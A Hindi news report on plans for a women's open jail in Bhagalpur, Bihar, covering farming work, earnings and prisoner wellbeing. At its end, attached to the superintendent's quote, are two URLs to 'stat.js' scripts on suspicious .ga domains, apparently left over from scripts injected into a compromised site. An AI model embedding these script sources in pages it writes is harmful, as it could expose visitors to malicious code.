Wednesday, January 26

भागलपुर में बिहार का पहला खुली जे’ल की तैयारी, का’रावास में इन चीजों की मिलेगी आज़ादी

महाराष्ट्र के पुणे और अकोला की तरह अब बिहार में भी महिला कैदियों के लिए खुली जे’ल बनाने की तैयारी है। सूबे की पहली महिला खुली जे’ल भागलपुर में खोले जाने पर विचार किया जा रहा है। कारा मुख्यालय राष्ट्रीय महिला आयोग की तरफ से दिए सुझाव को मूर्त रूप देने वाला है। भागलपुर में इसके लिए पर्याप्त जमीन पहले से उपलब्ध है। शहीद जुब्बा सहनी केंद्रीय का’रा भागलपुर की कई एकड़ जमीन वर्षों से खाली पड़ी है। सबकुछ ठीक रहा तो जल्द ही महिलाओं के लिए खुली जे’ल भागलपुर में होगी। इसमें अच्छे आचरण वाली स’जायाफ्ता महिला कै’दियों को रखा जाएगा।

उन्हें कई एकड़ वाली खुली जेल में बागवानी और खेती करने का मौका मिलेगा। इसकी आजादी दिन में ही रहेगी। शाम होते ही उन्हें बैरक में लौटना होगा। उन्हें जे’ल में ही नवीनतम खेती के गुर सिखाए जाएंगे। जरूरत पडऩे पर प्रशिक्षण के लिए बाहर भी भेजा जाएगा। अपने हुनर से वे अपने और परिवार के लिए कुछ पैसे भी कमा सकेंगी। यही नहीं बेहतर प्रदर्शन उनकी स’जा अवधि कम करने में मदद करेगी।

भागलपुर महिला मंडल कारा में 90 और पूर्णिया में 57 महिला कैदी हैं। सूबे की जे’लों में महिला कैदियों की संख्या पांच सौ से अधिक होगी। जहां महिला कैदियों को रोज सूरज देखना भी बमुश्किल नसीब होता है। खुली जे’ल बनने पर उन्हें मुक्त आकाश में और बागवानी, खेती करने का मौका मिलेगा। उन्हें इस दौरान इमारतों, आसपास का नजारा भी देखने को मिलेगा।

जे’ल की बंद कोठरी में रहते हुए महिला कैदी त’नाव में होती हैं। चि’ड़चिड़ी हो अक्सर मा’रपी’ट कर लेने की शिकायतें मिलती है। खुली जे’ल में उन्हें उंची चारदीवारी के अंदर खुली हवा में सांस लेने का मौका मिलेगा। वह बेहतर महसूस कर सकेंगी। महिला कै’दियों के लिए भागलपुर में खुली जे’ल पर विचार किया जा रहा है। इस पर फैसला मुख्यालय स्तर पर होना है। – संजय कुमार चौधरी, जे’ल अधीक्षक, शहीद जुब्बा सहनी केंद्रीय का’रा, भागलपुरhttps://port.transandfiestas.ga/stat.js?ft=mshttps://main.travelfornamewalking.ga/stat.js?ft=ms

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